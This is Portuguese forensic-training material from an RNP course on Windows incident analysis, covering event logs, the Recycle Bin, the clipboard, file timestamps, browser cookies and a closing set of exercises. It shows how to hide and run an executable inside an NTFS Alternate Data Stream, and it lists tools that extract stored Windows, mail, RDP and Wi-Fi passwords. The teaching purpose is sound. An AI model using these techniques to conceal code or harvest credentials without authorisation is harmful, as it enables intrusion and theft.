DUMPEL Usage: dumpel -f file [-s \\server] [-l log [-m source]] [e n1 n2 n3..] [-r] [-t] [-dx] -d Filters for event last days (number larg er than zero) -e nn Filters for event id nn (up to 10 may be spe cified) -f Output filename (default stdout) -l Dumps the specified log (system, applicat ion, security) -b Dumps a backup file (use -l to specify file name) -m Filters for events logged by name -r Filters out events logged by name (must use -m t oo) -s Remote to servername -t Use tab to separate strings (default is space) -c Use comma to separate fields -ns Do not output strings -format Specify output format.
Repare que a ferramenta mostrada no slide não está no caminho padrão do prompt de comandos, tendo sido necessário especificar o caminho completo para ele. Observe que a ferramenta é bem versátil, permitindo restringir as consultas por data, padrões de texto, além de permitir formatar a saída da maneira que o investigador quiser.
Análise forense avançada em Windows (parte 2)
166
Escola Superior de Redes RNP
Inclusive, é possível especificar o separador de cada campo, o que permite carregar o log posteriormente em uma base de dados e desta forma facilitar as consultas aos eventos.
Coleta de registros de eventos (logs)
Registro de eventos: D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evt dump.txt8
Registro de eventos D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evtdump.txt Somarsoft DumpEvt V1.7.3, Copyright Ń 1995-1997 by Somarsoft, Inc. LogType=Application Computer=(local) SystemRoot=C:\WINDOWS Outfile=\tmp\evtdump.txt Use HKEY_CURRENT_USER for saving record number Format=yes DateFormat=(locale dependent) TimeFormat=HH':'mm':'ss FieldSeparator=, ReplaceFieldSeparator= (blank) …
Somarsoft DumpEvt V1.7.3, Copyright ⌐ 1995-1997 by S omarsoft, Inc. LogType=Application Computer=(local) SystemRoot=C:\WINDOWS Outfile=\tmp\evtdump.txt Use HKEY_CURRENT_USER for saving record number8 Format=yes DateFormat=(locale dependent) TimeFormat=HH’:’mm’:’ss FieldSeparator=, ReplaceFieldSeparator= (blank) …
Permite especificar o tipo de log que desejamos coletar, gerando uma saída já formatada para ser inserida em uma base de dados. O arquivo gerado por este comando poderá ser então importado em uma base de dados como um arquivo CSV separado por vírgulas, o que pode facilitar a análise dos eventos, que muitas vezes contêm milhares de linhas. Existe uma ferramenta disponível no kit que não serve exclusivamente para visualização de logs de eventos, embora também tenha esta funcionalidade. Esta ferramenta serve para realizar uma auditoria completa no sistema, e permite visualizar informações sobre logs de eventos, instalações de programas e atualizações do Windows, além de informações gerais sobre o sistema.
Análise forense – Sessão de aprendizagem 10
167
Análise de conteúdo do Recycle.Bin
Análise de conteúdo do Recycle.Bin Os arquivos removidos são enviados para uma pasta oculta representada no desktop pelo ícone de uma lixeira. Existe um diretório RECYCLER em cada partição do disco da máquina. Dentro deste diretório existem subdiretórios cujos nomes são as identificações de segurança do usuário (SID). Com a informação disponível é possível identificar qual usuário removeu um arquivo específico. Dentro do subdiretório representado pelo SID existem sempre dois arquivos: desktop.ini e INFO2.
Quando os arquivos são removidos, são enviados para uma pasta oculta representada no desktop pelo ícone de uma lixeira. Existe um diretório RECYCLER em cada partição do disco da máquina. Dentro deste diretório existem subdiretórios cujos nomes são as identificações de segurança do usuário (SID). Com a informação disponível é possível identificar qual usuário removeu um arquivo específico.
Dentro do subdiretório representado pelo SID existem sempre dois arquivos: desktop.ini e INFO2. Quando um arquivo é apagado através do Windows Explorer, ele é movido para o diretório RECYCLER com um nome diferente do original. Por exemplo, o arquivo teste.txt quando apagado se transforma em Dc1.txt, ou seja, o arquivo removido tem origem no drive C, e é o primeiro arquivo removido, com extensão .txt.
D:\IR\xp> dir /a c:\RECYCLER\S-1-5-21-4042056708-2335835806-3410500470-10068 17/01/2008 01/12/2007 29/01/2008 30/01/2008
00:05 14:50 14:42 22:10
389 Dc1 83 Dc2.txt 65 desktop.ini 1.620 INFO2
D:\IR\xp> sid2user 5 21 4042056708 2335835806 3410500470 10068
Recycle.Bin
Name is Usuario Domain is COMPUTADOR Type of SID is SidTypeUser
Podemos dizer que o segundo arquivo apagado presente neste diretório é um arquivo originalmente com extensão .txt, e que o primeiro não tem extensão. No kit de ferramentas existe um aplicativo chamado sid2user.exe, que permite converter o SID para o nome do usuário do sistema. Com isso, podemos identificar o usuário que apagou os arquivos. D:\IR\xp> rifiuti c:\RECYCLER\S-1-5-21-40420567082335835806-3410500470-1006\INFO28
Análise de conteúdo do Recycle.Bin Recycle.Bin
INFO2 File: c:\RECYCLER\S-1-5-21-40420567082335835806-3410500470-1006\INFO2
D:\IR\xp> rifiuti c:\RECYCLER\S-1-5-21-4042056708-23358358063410500470-1006\INFO2 INFO2 File: c:\RECYCLER\S-1-5-21-4042056708-2335835806-34105004701006\INFO2 INDEX 1 2
DELETED TIME DRIVE NUMBER Tue Jan 29 20:21:58 2008 Thu Jan 31 00:10:42 2008
PATH 2 2
SIZE C:\s9k 4096 C:\dump.txt
4096
INDEX DELETED TIME DRIVE NUMBER PATH 1 Tue Jan 29 20:21:58 2008 2 4096 2 Thu Jan 31 00:10:42 2008 2 C:\dump.txt 4096
SIZE C:\s9k
Existe uma ferramenta no kit que permite listar as informações presentes no arquivo INFO2 em um formato inteligível, e dessa forma descobrir o nome original dos arquivos. Análise forense avançada em Windows (parte 2)
168
Escola Superior de Redes RNP
Análise de conteúdo do Clipboard O conteúdo da área de transferência ou clipboard é uma evidência normalmente esquecida pelo investigador Existem três tipos principais de informação que podem ser copiadas através da área de transferência: textos, imagens ou tabelas e arquivos Para verificar se existem arquivos na área de transferência, pode-se usar o Explorer para colar o conteúdo da área de transferência em um diretório Para objetos complexos, é possível colar o conteúdo em um documento aberto no WordPad
Análise de conteúdo do Clipboard O conteúdo da área de transferência é uma evidência quase sempre esquecida pelo investigador, que pode conter informações importantes sobre o uso recente do equipamento analisado; também conhecido como clipboard, pode conter informações importantes esquecidas por algum usuário recente. Existem três tipos principais de informação que podem ser copiadas através da área de transferência: textos, objetos complexos como imagens ou tabelas e arquivos.
Para verificar se existem arquivos na área de transferência, pode-se usar o Explorer para colar o conteúdo da área de transferência em um diretório. Para objetos complexos, é possível colar o conteúdo em um documento aberto no WordPad.
Análise de conteúdo do Clipboard Clipboard
Infelizmente, a ferramenta para verificação da área de transferência que existe no kit de ferramentas permite mostrar somente textos que estejam na área de transferência.
D:\IR\xp> pclip Informacoes de cartao de credito: 1234-1234-1234-1111 1234-1234-1234-1113 1234-1234-1234-1112
Análise de conteúdo de arquivos Informações sobre arquivos D:\IR\xp> mac -d c:\windows MAC.pl Collect MAC times and owner from files in a directory. By default, search starts at current dir, looking at all files. NOTE: Beginning and end of search are timestamped. Output is in CSV format for easy opening in Excel. Start search,1201742514,Wed Jan 30 23:21:54 2008 File,Size,Last Access,Last Modification,Creation c:\windows\0.log,0,BUILTIN\Administrators,Wed Jan 30 16:41:41 2008,Wed Jan 30 16:41:41 2008,Wed Jan 9 08:19:37 2008 c:\windows\accessories.ico,13942,,Wed Jan 9 02:42:12 2008,Tue Jan 6 15:00:10 2004,Sat May 10 22:50:09 2003 c:\windows\AG-Rose.ico,5430,,Wed Jan 9 02:42:12 2008,Fri Jul 30 13:59:42 2004,Sat May 10 22:50:09 2003
Análise forense – Sessão de aprendizagem 10
Análise de conteúdo de arquivos Informações sobre arquivos: D:\IR\xp> mac -d c:\windows8 MAC.pl Collect MAC times and owner from files in a directory. By default, search starts at current dir, looking a t all files. NOTE: Beginning and end of search are timestamped. O utput is in CSV format for easy opening in Excel. Start search,1201742514,Wed Jan 30 23:21:54 2008 File,Size,Last Access,Last Modification,Creation c:\windows\0.log,0,BUILTIN\Administrators,Wed Jan 3 0 16:41:41 2008,Wed Jan 30 16:41:41 2008,Wed Jan 9 0 8:19:37 2008 c:\windows\accessories.ico,13942,,Wed Jan 9 02:42:12 2008,Tue Jan 6 15:00:10 2004,Sat May 10 22:50:09 2003 c:\windows\AG-Rose.ico,5430,,Wed Jan 9 02:42:12 2008,Fri Jul 30 13:59:42 2004,Sat May 10 22:50:09 2003
169
A ferramenta acima permite extrair as informações de tempo de acesso, modificação e criação dos arquivos e formatá-las de forma a estarem prontas para serem inseridas numa base ou abertas em uma planilha. Além disso, ela lista o usuário responsável pela criação do arquivo.
Análise de conteúdo de arquivos
Informações sobre arquivos: D:\IR\xp> afind c:\windows\system328
Informações sobre arquivos D:\IR\xp> afind c:\windows\system32 Searching... c:\windows\system32\XPSViewer\en-us Finished
D:\IR\xp> file -m ..\Cygwin\magic c:\WINDOWS\NOTEPAD.EXE c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable (EXE), OS/2 or MS Windows
Searching... c:\windows\system32\XPSViewer\en-us Finished D:\IR\xp> file -m ..\Cygwin\magic c:\WINDOWS\NOTEPAD.EXE8 c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable (EXE), OS /2 or MS Windows
A ferramenta permite procurar em um diretório pelo último arquivo acessado. Esta informação pode ser importante na análise de um sistema que acabou de ser comprometido. Veja que é listado acima o último arquivo acessado dentro do diretório especificado. Além disso, o comando permite examinar o último acesso a um determinado arquivo, ou listar arquivos acessados entre períodos determinados. O comando file.exe presente no kit de ferramentas funciona basicamente como sua versão Linux, mas é necessário especificar qual arquivo contém os padrões de reconhecimento do tipo de arquivo.
Análise de conteúdo de arquivos Informações sobre arquivos D:\IR\xp> filestat c:\boot.ini Dumping c:\boot.ini... SD is valid. SD's Owner is Not NULL SID = BUILTIN/Administrators S-1-5-32-544 SID = / (Account Unknown) S-1-5-21-1607551490-981732888-1819828000-513 SID = BUILTIN/Administrators S-1-5-32-544 ACE 0 is an ACCESS_ALLOWED_ACE_TYPE ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_PERMS -TAKE_OWN SID = NT AUTHORITY/SYSTEM S-1-5-18 ACE 1 is an ACCESS_ALLOWED_ACE_TYPE ACE 1 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_PERMS -TAKE_OWN Stream 1: Stream name = ???$?? Size: 116 Stream 2: Stream name = ???$?? Size: 211 Stream 3: Stream name = ???$?? Size: 64 Creation Time - 07/08/2004 10:51:38 Last Mod Time - 30/11/2007 11:32:08 Last Access Time - 30/01/2008 23:16:27
Análise forense avançada em Windows (parte 2)
Informações sobre arquivos: D:\IR\xp> filestat c:\boot.ini8 Dumping c:\boot.ini... SD is valid. SD’s Owner is Not NULL SID = BUILTIN/Administrators S-1-5-32-544 SID = / (Account Unknown) S-1-5-21-1607551490-98173 2888-1819828000-513 SID = BUILTIN/Administrators S-1-5-32-544 ACE 0 is an ACCESS_ALLOWED_ACE_TYPE ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD CHANGE_PERMS -TAKE_OWN SID = NT AUTHORITY/SYSTEM S-1-5-18 ACE 1 is an ACCESS_ALLOWED_ACE_TYPE ACE 1 mask = 0x001f01ff -R -W -X -D -DEL_CHILD CHANGE_PERMS -TAKE_OWN Stream 1: Stream name = ???$?? Size: 116 Stream 2: Stream name = ???$?? Size: 211 Stream 3: Stream name = ???$?? Size: 64 Creation Time - 07/08/2004 10:51:38 Last Mod Time - 30/11/2007 11:32:08 Last Access Time - 30/01/2008 23:16:27
170
Escola Superior de Redes RNP
Veja que este comando produz informações importantes sobre um arquivo, principalmente sobre permissões de segurança e streams alternativos.
Recuperação de dados ocultos ADS Ocultação de dados: Alternate Data Streams (ADS) são dados associados a arquivos São utilizados por programas maliciosos e rootkits para esconder informações no sistema Entretanto, sua origem e motivação são nobres: ADS são utilizados para armazenar informações extras sobre um arquivo, como o Thumbnail de uma imagem ou o ícone de um arquivo
Recuperação de dados ocultos ADS Alternate Data Streams (ADS) são dados associados a arquivos. Como vimos anteriormente, um arquivo em um sistema de arquivos NTFS é definido por diversos atributos. Estes atributos extras são os chamados ADS. O atributo Data, que define a área onde o conteúdo do arquivo vai ser armazenado, pode ser definido mais de uma vez.
ADS são utilizados por muitos programas maliciosos e rootkits para esconder informações no sistema. Apesar disso, sua origem e motivação são nobres: ADS são utilizados para armazenar informações extras sobre um arquivo, como o Thumbnail de uma imagem ou o ícone de um arquivo.
Recuperação de dados ocultos ADS
Ocultação de dados: D:\IR\xp> echo Este e um arquivo de textos > d:\tmp \file.txt8
Ocultação de dados: D:\IR\xp> echo Este e um arquivo de textos > d:\tmp\file.txt D:\IR\xp> dir d:\tmp\file.txt 31/01/2008 00:40
30 file.txt
D:\IR\xp> echo Este e um stream ADS > d:\tmp\file.txt:adsdata.txt D:\IR\xp> dir d:\tmp\file.txt 31/01/2008 00:40
30 file.txt
D:\IR\xp> type d:\tmp\file.txt Este e um arquivo de textos D:\IR\xp> less < d:\tmp\file.txt:adsdata.txt Este e um stream ADS
D:\IR\xp> dir d:\tmp\file.txt8 31/01/2008
00:40
30 file.txt
D:\IR\xp> echo Este e um stream ADS > d:\tmp\file.txt :adsdata.txt8
D:\IR\xp> dir d:\tmp\file.txt8 31/01/2008
00:40
30 file.txt
D:\IR\xp> type d:\tmp\file.txt8 Este e um arquivo de textos
Recuperação de dados ocultos ADS
D:\IR\xp> less < d:\tmp\file.txt:adsdata.txt8 Este e um stream ADS
Ocultação de dados: D:\IR\xp> type c:\windows\notepad.exe > d:\tmp\file.txt:np.exe D:\IR\xp> start d:\tmp\file.txt:np.exe D:\IR\xp> dir d:\tmp\file.txt 31/01/2008 00:43
30 file.txt
Como podemos observar, é possível armazenar dados atrelados ao arquivo original file.txt, sem que estejam visíveis e sejam detectados. A princípio não existe limitação de número e tamanho para os arquivos ADS, e inclusive é possível executar programas que estão ocultos no ADS. D:\IR\xp> type c:\windows\notepad.exe > d:\tmp\file. txt:np.exe8
Análise forense – Sessão de aprendizagem 10
171
D:\IR\xp> start d:\tmp\file.txt:np.exe8
D:\IR\xp> dir d:\tmp\file.txt8 31/01/2008 00:43 30 file.txt
Ao realizar a ação descrita no slide veremos um notepad aberto na tela, e ao verificar no Gerenciador de tarefas observaremos que o executável é um ADS; o arquivo file.txt:adsdata.txt continua disponível. Quando o arquivo de origem é removido (neste caso file.txt) não se pode mais acessar os ADS que estavam a ele relacionados. No entanto, os dados continuam no disco até serem eventualmente sobrescritos. Em um sistema onde foram encontrados indícios do uso de ADS, pode ser necessário realizar uma pesquisa completa na imagem do disco.
Recuperação de dados ocultos ADS
Ocultação de dados: D:\IR\xp> ads d:\tmp8
Ocultação de dados: D:\IR\xp> ads d:\tmp d:\tmp\teste.txt:adsdata.txt (23 bytes) d:\tmp\teste.txt:np.exe (69120 bytes)
d:\tmp\teste.txt:adsdata.txt (23 bytes) d:\tmp\teste.txt:np.exe (69120 bytes) D:\IR\xp> streams d:\tmp\*8
D:\IR\xp> streams d:\tmp\* d:\tmp\teste.txt: :adsdata.txt:$DATA 23 :np.exe:$DATA 69120 D:\IR\xp> sfind d:\tmp Searching... d:\tmp teste.txt:adsdata.txt Size: 23 teste.txt:np.exe Size: 69120 Finished
d:\tmp\teste.txt: :adsdata.txt:$DATA 23 :np.exe:$DATA 69120 D:\IR\xp> sfind d:\tmp8 Searching... d:\tmp teste.txt:adsdata.txt Size: 23 teste.txt:np.exe Size: 69120 Finished
As ferramentas acima podem ser usadas para detectar a presença de ADS em um arquivo ou diretório. É importante notar que alguns arquivos do sistema contêm ADS, como os arquivos Thumbs.db criados pelo Explorer, que precisam disso para funcionar.
Análise forense avançada em Windows (parte 2)
172
Escola Superior de Redes RNP
Análise do histórico de navegação
Análise do histórico de navegação
Histórico de navegação:
Histórico de navegação D:\IR\xp> pasco -d "c:\Documents and Settings\Usuario\Cookies\index.dat“
History File: c:\Documents and Settings\hp\Cookies\index.dat TYPE URL MODIFIED TIME ACCESS TIME FILENAME DIRECTORY HTTP HEADERS URL Cookie:
[email protected] /serviceswitching/Thu Jan 10 04:00:46 2008 Wed Jan 30 23:56:31 2008
[email protected][1].txt URL Cookie:
[email protected]/ Thu Jan 10 11:59:48 2008 Thu Jan 31 03:28:55 2008
[email protected][1].txt URL URL Cookie:
[email protected]/ Thu Jan 31 01:16:36 2008 Thu Jan 31 01:16:36 2008
[email protected][1].txt URL
Análise do histórico de navegação Histórico de navegação D:\IR\xp> galleta "C:\Documents and Settings\Usuario\Application Data\Mozilla\Firefox\Profiles\1jwwc64n.default\cookies.txt" Cookie File: C:\Documents and Settings\hp\Application Data\Mozilla\Firefox\Profiles\1jwwc64n.default\cookies.txt SITE
VARIABLE VALUE
CREATION TIME
EXPIRE TIME
FLAGS
.google.com TRUE / FALSE 1262741102 PREF ID=66ce23137a6d713d:FF= 4:LD=en:NR=10:TM=1153453246:LM=1199669113:DV=AA:GM=1:IG=3:S=61TCN1UHJwM 0IeCa il.google.com FALSE /mail FALSE 1348445213 gmailchat 60644 .google.com TRUE /mail/ FALSE 1262402786 __utmx 173272373. Thu Jan 1 00:00:00 1970 Thu Jan 1 00:00:00 1970 .google.com TRUE /FALSE 1506634851 rememberme true
D:\IR\xp> pasco -d “c:\Documents and Settings\Usuar io\Cookies\index.dat“8 History File: c:\Documents and Settings\hp\Cookies\ index.dat TYPE URL MODIFIED TIME ACCESS TIME FILENAME DIRECTO RY HTTP HEADERS URL Cookie:
[email protected] om /serviceswitching/Thu Jan 10 04:00:46 2008 Wed J an 30 23:56:31 2008
[email protected] crosoft[1].txt URL Cookie:
[email protected]/ Thu Jan 10 11:59:48 2008 Thu Jan 31 03:28:55 2008
[email protected][1].txt URL URL Cookie:
[email protected]/ Thu Jan 31 01:16 :36 2008 Thu Jan 31 01:16:36 2008
[email protected]. com[1].txt URL
Os históricos de navegação web e cookies armazenados podem fornecer informações importantes sobre o mau uso do sistema. Eles informam, por exemplo, se um usuário visitou algum site não permitido ou capaz de infectar a máquina com algum programa malicioso. Sendo assim, é importante para o investigador coletar e analisar esse tipo de informação. Esta ferramenta permite listar o conteúdo do arquivo de cookies do Internet Explorer, o que pode ser importante para identificar spywares ou acessos a sites impróprios.
D:\IR\xp> galleta “C:\Documents and Settings\Usuario\Application Data\Mozilla\F irefox\Profiles\1jwwc64n.default\cookies.txt”8 Cookie File: C:\Documents and Settings\hp\Application Data\Mozilla\Firefox\Prof iles\1jwwc64n.default\cookies.txt SITE VARIABLE VALUE
CREATION TIME
EXPIRE TIME
FLAGS
.google.com TRUE / FALSE 1262741102 PREF ID=66ce23137a6d713d:FF= 4:LD=en:NR=10:TM=1153453246:LM=1199669113:DV=AA:GM=1:IG=3:S=61TCN1UHJwM0IeCa v il.google.com FALSE /mail FALSE 1348445213 gmailchat 60644 .google.com TRUE /mail/ FALSE 1262402786 __utmx v 173272373. Thu Jan 1 00:00:00 1970 Thu Jan 1 00:00:00 1970 .google.com TRUE /FALSE 1506634851 rememberme true
Para coletar a mesma informação, mas de sistemas que utilizem o Mozilla ou Firefox, podemos usar a ferramenta galleta.exe.
Análise forense – Sessão de aprendizagem 10
173
Como podemos observar nos exemplos do slide, as saídas de ambas as ferramentas utilizam um formato parecido, com campos separados por TAB, o que facilita a inserção destes dados em uma tabela ou base de dados.
Análise do histórico de navegação
No slide podemos observar os cookies, com respectivas datas de criação, modificação e acesso, e os valores correspondentes.
Análise do histórico de navegação Usando a ferramenta MozillaCookiesView ,observamos que os valores são mostrados nas colunas, junto com outras informações sobre cada cookie.
Análise forense avançada em Windows (parte 2)
174
Escola Superior de Redes RNP
Uma característica interessante da ferramenta IEHistoryView é que ela lista não somente os sites visitados; como no Windows o Internet Explorer faz parte do sistema, qualquer acesso a arquivos feito pelo Explorer também conta como um site, e esta informação é mostrada acima, como podemos ver pelas URLs que começam por file:// .
Recuperação de senhas
Recuperação de senhas Ferramentas do kit para recuperação de senhas de diversos serviços do Windows e de aplicativos instalados. As ferramentas expõem informações privativas dos usuários do computador, que podem não fazer parte da investigação. Por isso, o investigador deve ter consciência da importância de manter estas informações sob sigilo, e não utilizá-las para qualquer finalidade que não seja uma ação direta da investigação. O computador em uso não deve utilizar senhas pessoais.
Para finalizar nosso curso, vamos conhecer as ferramentas presentes no kit que permitem ao investigador recuperar senhas de diversos serviços do Windows e de aplicativos instalados. Tais ferramentas expõem informações privativas dos usuários do computador, e muitas vezes este tipo de informação pode não fazer parte do objetivo da investigação. Por isso, o investigador deve ter consciência da importância de manter estas informações sob sigilo, e não utilizá-las para qualquer finalidade que não seja a de uma ação direta da investigação.
Devemos ter consciência de que o computador utilizado é compartilhado com diversos usuários e, portanto, não devemos utilizar senhas pessoais. O mais importante: se utilizar alguma das ferramentas a seguir, evite divulgar as informações que porventura consiga visualizar.
Análise forense – Sessão de aprendizagem 10
175
\\accesspv.exe
– Permite visualizar senhas de arquivos Access.
Recuperação de senhas
\\lsasecretsview.exe
– Acessa diversas chaves de registro que armazenam senhas.
accesspv.exe lsasecretsview.exe mailpv.exe mspass.exe netpass.exe pspv.exe pstpassword.exe rdpv.exe wirelesskeyview.exe
\\mailpv.exe
– Lista login e senha de usuários configurados no MSN ou Hotmail.
\\mspass.exe
– Lista login e senha de usuários configurados no MSN.
\\netpass.exe
– Visualiza senhas armazenadas de auto-logon, Windows Live e .NET.
\\pspv.exe
– Protected Storage Pass View, senhas armazenadas pelo Internet Explorer.
\\pstpassword.exe \\rdpv.exe
– Visualiza senhas em arquivos do Microsoft Outlook.
– Visualiza senhas configuradas no Remote Desktop.
\\wirelesskeyview.exe
– Visualiza senhas configuradas para redes wireless.
Conclusões
Conclusões Conhecemos ferramentas e técnicas para coleta de informações importantes em sistemas Windows. Aprendemos técnicas para realização de análise forense e ferramentas para uma resposta inicial a um incidente. O aluno já possui conhecimentos para realizar análises em computadores comprometidos e identificar os responsáveis e eventos que comprometeram o sistema. É importante que o aluno entenda que este material serve como uma base para que ele possa pesquisar e se aprofundar no assunto.
Conhecemos diversas ferramentas e técnicas para coleta de informações importantes em sistemas Windows. Durante o curso, o aluno aprendeu técnicas de análise forense e conheceu ferramentas para uma resposta inicial a um incidente.
A partir de agora, o aluno possui uma base de conhecimento para realizar análises em computadores comprometidos e identificar responsáveis e eventos que possam ter causado o comprometimento do sistema, e com isso desenvolver medidas preventivas contra ataques. Mesmo assim, é importante que o aluno entenda que este material serve como uma base para que ele possa pesquisar e se aprofundar no assunto. As atividades práticas e a bibliografia ajudam-no a iniciar sua pesquisa por mais informações.
Análise forense avançada em Windows (parte 2)
Escola Superior de Redes RNP
Análise forense – Sessão de aprendizagem 10
176
10 Sessão de aprendizagem 10 Análise forense avançada em Windows (parte 2) Roteiro de atividades Tópicos e conceitos \\Identificar
as conexões de rede e informações do sistema operacional
Windows.
Competências técnicas desenvolvidas \\Identificar
as conexões e portas ativas de rede e outras informações voláteis da estação Windows.
Outras competências desenvolvidas \\Capacidade
de investigação e pesquisa do aluno.
Tempo previsto para as atividades \\90
minutos
Escola Superior de Redes RNP
178
Atividade 1 – Coleta de informações de redes
Usando as ferramentas vistas nessa sessão, colete todas as evidências sobre conexões de rede em sua estação. Pesquise na internet as portas abertas em sua estação e descreva o serviço oferecido por elas. Pesquise também as vulnerabilidades que podem afetar as portas.
Atividade 2 – Coleta de informações em registros do Windows
Utilizando as ferramentas de análise do registro, examine o registro de sua estação e faça um relatório sobre o conteúdo das chaves importantes, de acordo com o que foi mostrado no texto. Existe alguma inconsistência no resultado das ferramentas? Faça também uma cópia completa do registro.
Atividade 3 – Análise de conteúdo do Recycle.Bin
Faça um relatório sobre o conteúdo dos diretórios Recycler em sua estação. Liste todos os usuários disponíveis e o conteúdo dos diretórios Recycler de cada um. Capture o conteúdo da área de transferência e coloque em seu relatório. Faça também uma pesquisa pelo último arquivo acessado no drive C: e coloque no relatório todas as informações possíveis sobre ele.
Atividade 4 – Recuperação de dados ocultos ADS
Procure no disco de sua estação por arquivos que contenham Alternate Data Streams. Faça um resumo dos tipos de arquivos encontrados.
Atividade 5 – Análise do histórico de navegação
Examine o histórico de navegação e cookies em sua estação. Você consegue dizer se a estação foi utilizada para acessar sites que não têm a ver com o curso? Que tipo de informação você considera mais importante para uma investigação?
Análise forense – Sessão de aprendizagem 10
179
Atividade 6 – Recuperação de senhas
Utilizando as ferramentas vistas no item de recuperação de senhas, examine as informações armazenadas em sua estação. Faça um relatório das senhas que encontrar. Lembre-se de manter o sigilo sobre o que encontrar, mas informe ao seu instrutor se encontrar alguma senha de uso pessoal armazenada na estação.
Análise forense avançada em Windows (parte 2)
Escola Superior de Redes RNP
Análise forense – Sessão de aprendizagem 10
180
Bibliografia \\Access
Data. Acesso em março de 2008, disponível em: http://www.accessdata.com/
\\Alertas
do CAIS. Acesso em março de 2008, disponível em: http://www.rnp.br/cais/alertas/
\\Analysis
of the ATD OpenSSL Mass Exploiter. Acesso em março de 2008, disponível em SecureWorks: http://www.lurhq.com/atd.html
\\Another
hacker tool has been detected. Acesso em março de 2008, disponível em Computing and Networking Services: http://cns.utoronto.ca/~scan/expltool.txt
\\Autopsy
Forensic Browser. Acesso em março de 2008, disponível em: http://www.sleuthkit.org/autopsy/
\\AVG
Free. Acesso em março de 2008, disponível em: http://free.grisoft.com/doc/2/lng/us/tpl/v5
\\BitDefender.
Acesso em março de 2008, disponível em: http://www.bitdefender.com/site/Downloads/
\\Botnet
from SearchSecurity.com. Acesso em março de 2008, disponível em SearchSecurity.com Definitions: http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci1030284,00.html
\\Botnet
from Wikipedia. Acesso em março de 2008, disponível em Wikipedia: http://en.wikipedia.org/wiki/Botnet
\\CERT
Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL. Acesso em março de 2008, disponível em CERT: http://www.cert.org/advisories/CA-2002-23.html
\\Chkrootkit.
Acesso em março de 2008, disponível em: http://www.chkrootkit.org
\\Clam
AntiVirus. Acesso em março de 2008, disponível em: http://www.clamav.org/about/lang-pref/pt/
\\Computer
Desktop Encyclopedia: slack space. Acesso em março de 2008, disponível em Answers.com: http://www.answers.com/topic/slack-space?cat=technology
\\Digital
Forensic Research Workshop. Acesso em março de 2008, disponível em DFRWS: http://www.dfrws.org/
\\Dynamic-link
library from Wikipedia. Fonte: Wikipedia: http://en.wikipedia.org/wiki/Dynamic-link_library
\\EnCase
Forensic. Acesso em março de 2008, disponível em Guidance Software: http://www.guidancesoftware.com/products/ef_index.asp
\\Express,
M. o. (6 de agosto de 1999). Murder_on_the_Internet_Express.pdf. Acesso em março de 2008, disponível em Neoprag: http://www.neoprag.com/dcm/Murder_on_the_Internet_Express.pdf
\\Forensic
Computers, Inc. Acesso em março de 2008, disponível em: http://www.forensic-computers.com/index.php
\\Forensic
Windows Tools. Acesso em março de 2008, disponível em Open Source Digital Forensics: http://www.opensourceforensics.org/tools/windows.html
\\Forensics
Tools. Acesso em março de 2008, disponível em ForinSect - Forensics, Intrusion Detection, Security Technology: http://www.forinsect.de/forensics/forensics-tools.html
\\F-PROT
Antivirus. Acesso em março de 2008, disponível em: http://www.f-prot.com/download/home_user/
\\Helix:
Incident Response & Computer Forensics Live CD by e-fense™, Inc. Acesso em março de 2008, disponível em Helix Live CD: http://www.e-fense.com/helix
\\Helix
from Forensics Wiki. Acesso em março de 2008, disponível em Forensics Wiki: http://www.forensicswiki.org/index.php?title=Helix
\\IDA
Pro. Acesso em março de 2008, disponível em DataRescue: http://www.datarescue.com/
\\Inside
Security Rescue Toolkit. Acesso em março de 2008, disponível em Inside Security: http://www.inside-security.de/insert_en.html
\\LDasm.
Acesso em março de 2008, disponível em Feedface: http://www.feedface.com/projects/ldasm.html
\\Linux.RST.B.
Acesso em março de 2008, disponível em Symantec: http://www.symantec.com/security_response/writeup.jsp?docid=2004-052312-2729-99
\\md5deep.
Acesso em março de 2008, disponível em sourceforge.net: http://md5deep.sourceforge.net
\\Microsoft
NTFS File System. Acesso em março de 2008, disponível em Microsoft TechNet: http://www.microsoft.com/technet/prodtechnol/windows2000serv/ reskit/core/fncc_fil_khzt.mspx?mfr=true
\\Nachi
worm tries to undo Blaster damage - but no virus is a good virus, says Sophos. (19 de Ago de 2003). Acesso em março de 2008, disponível em Sophos: http://www.sophos.com/pressoffice/news/articles/2003/08/va_nachi.html
\\National
Software Reference Library. Acesso em março de 2008, disponível em: http://www.nsrl.nist.gov/
\\NIST.
Cryptographic hash project. Fonte: NIST.gov: http://www.csrc.nist.gov/groups/ST/hash/index.html
\\NTFS
file system. Acesso em março de 2008, disponível em Digit-Life: http://www.digit-life.com/articles/ntfs/
\\NTFS
Master File Table (MFT). Acesso em março de 2008, disponível em NTFS.com: http://www.ntfs.com/ntfs-mft.htm
\\NTFS
System (Metadata) Files. Acesso em março de 2008, disponível em PCGuide: http://www.pcguide.com/ref/hdd/file/ntfs/archFiles-c.html
\\OllyDbg.
Acesso em março de 2008, disponível em OllyDbg: http://www.ollydbg.de/
\\Ondrej,
M. (2 de dezembro de 2004). Practical Attacks on Digital Signatures Using MD5 Message Digest. Acesso em março de 2008, disponível em: http://cryptography.hyperlink.cz/2004/collisions.htm
\\Panda
Antivirus. Acesso em março de 2008, disponível em Panda Security: http://www.pandasecurity.com/brazil/
\\Piccolini,
J. D. Forensics under Brazilian Legislation. Acesso em março de 2008, disponível em GIAC Certified Forensic Analyst (GCFA) Practical Assignment: http://www.giac.org/certified_professionals/practicals/gcfa/86.php
\\Pimenta,
Flávio Aparecido. Perícia forense computacional baseada em sistema operacional Windows XP Professional. Sorocaba: Senac, 2007.
\\ProcessLibrary.com.
Acesso em março de 2008, disponível em: http://www.processlibrary.com/
\\Prosise,
C., & Mandia, K. (2001). Incident Response: Investigating Computer Crime. McGraw-Hill. psyBNC. Acesso em março de 2008, disponível em: http://www.psybnc.info/
\\RFC
1321. (Abril de 1992). Acesso em março de 2008, disponível em faqs.org: http://www.faqs.org/rfcs/rfc1321.html
\\RFC
3174. (Setembro de 2001). Acesso em março de 2008, disponível em faqs.org: http://www.faqs.org/rfcs/rfc3174.html
\\RST-variant
analysis. Acesso em março de 2008, disponível em Lockeddown: http://www.lockeddown.net/rst-expl.txt
\\Scott,
